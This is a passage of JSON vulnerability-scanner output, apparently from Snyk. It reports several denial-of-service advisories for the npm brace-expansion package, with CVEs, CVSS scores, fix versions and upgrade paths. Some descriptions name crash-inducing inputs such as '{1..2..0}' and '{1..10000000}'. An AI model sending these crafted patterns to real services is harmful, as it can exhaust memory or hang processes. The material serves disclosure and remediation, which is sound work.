"v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", 